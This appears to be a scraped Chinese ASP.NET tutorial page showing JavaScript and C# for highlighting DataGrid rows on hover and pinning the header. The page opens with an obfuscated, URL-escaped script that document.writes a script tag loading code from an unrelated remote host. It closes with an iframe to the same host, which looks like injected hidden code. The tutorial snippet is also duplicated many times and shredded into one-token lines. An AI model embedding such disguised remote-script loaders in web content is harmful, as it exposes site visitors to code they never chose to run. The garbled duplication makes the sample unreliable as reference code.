HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
在ASP.NET中实现鼠标移动悬停在DataGrid时高亮显示这一行的方法
首先在WebFrom页面中添加JavaScript 代码块
//鼠标移动时高亮显示所悬停的行function SetDataGridBackColor(color,isMouseOut){var tr=event.srcElement.parentElement;var iRowIndex = tr.rowIndex ;if( isMouseOut ){if( ( iRowIndex % 2 ) == 1 ){tr.style.backgroundColor = color;}else{tr.style.backgroundColor = "#EAE9D7";}}else{tr.style.backgroundColor = color;}}
//鼠标移动时高亮显示所悬停的行function SetDataGridBackColor(color,isMouseOut){var tr=event.srcElement.parentElement;var iRowIndex = tr.rowIndex ;if( isMouseOut ){if( ( iRowIndex % 2 ) == 1 ){tr.style.backgroundColor = color;}else{tr.style.backgroundColor = "#EAE9D7";}}else{tr.style.backgroundColor = color;}}
1
<
script
>
2
//
鼠标移动时高亮显示所悬停的行
3
function
SetDataGridBackColor(color,isMouseOut)
4
{
5
var
tr
=
event.srcElement.parentElement;
6
7
var
iRowIndex
=
tr.rowIndex ;
8
if
( isMouseOut )
9
{
10
if
( ( iRowIndex
%
2
)
==
1
)
11
{
12
tr.style.backgroundColor
=
color;
13
}
14
else
15
{
16
tr.style.backgroundColor
=
"
#EAE9D7
"
;
17
}
18
}
19
else
20
{
21
tr.style.backgroundColor
=
color;
22
}
23
}
24
</
script
>
//鼠标移动时高亮显示所悬停的行function SetDataGridBackColor(color,isMouseOut){var tr=event.srcElement.parentElement;var iRowIndex = tr.rowIndex ;if( isMouseOut ){if( ( iRowIndex % 2 ) == 1 ){tr.style.backgroundColor = color;}else{tr.style.backgroundColor = "#EAE9D7";}}else{tr.style.backgroundColor = color;}}
//鼠标移动时高亮显示所悬停的行function SetDataGridBackColor(color,isMouseOut){var tr=event.srcElement.parentElement;var iRowIndex = tr.rowIndex ;if( isMouseOut ){if( ( iRowIndex % 2 ) == 1 ){tr.style.backgroundColor = color;}else{tr.style.backgroundColor = "#EAE9D7";}}else{tr.style.backgroundColor = color;}}
//鼠标移动时高亮显示所悬停的行function SetDataGridBackColor(color,isMouseOut){var tr=event.srcElement.parentElement;var iRowIndex = tr.rowIndex ;if( isMouseOut ){if( ( iRowIndex % 2 ) == 1 ){tr.style.backgroundColor = color;}else{tr.style.backgroundColor = "#EAE9D7";}}else{tr.style.backgroundColor = color;}}
//鼠标移动时高亮显示所悬停的行function SetDataGridBackColor(color,isMouseOut){var tr=event.srcElement.parentElement;var iRowIndex = tr.rowIndex ;if( isMouseOut ){if( ( iRowIndex % 2 ) == 1 ){tr.style.backgroundColor = color;}else{tr.style.backgroundColor = "#EAE9D7";}}else{tr.style.backgroundColor = color;}}
然后在aspx文件中的DataGrid事件中去注册这个脚本
private
void
dgTemp_PreRender(
object
sender, System.EventArgs e)
{
for
(
int
i
=
0
; i
<
dgTemp.Items.Count; i
++
)
{
dgTemp.Items[i].Attributes.Add(
"
onmouseover
"
,
"
SetDataGridBackColor('LightBlue',false);
"
);
dgTemp.Items[i].Attributes.Add(
"
onmouseout
"
,
"
SetDataGridBackColor('white',true);
"
);
}
}
为了防止DataGrid标头的滚动,可以在增加这么一个脚本
private
void
dgTemp_ItemCreated(
object
sender, System.Web.UI.WebControls.DataGridItemEventArgs e)
{
//
使DataGrid标头不滚动
if
(e.Item.ItemType
==
ListItemType.Header)
{
e.Item.Style.Add(
"
position
"
,
"
relative;top:expression(document.all['dgBHGJBSZ'].offsetParent.scrollTop);
"
);
}
}
链接地址:
http://Arthur1999.cnblogs.com/archive/2006/07/14/450487.html
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">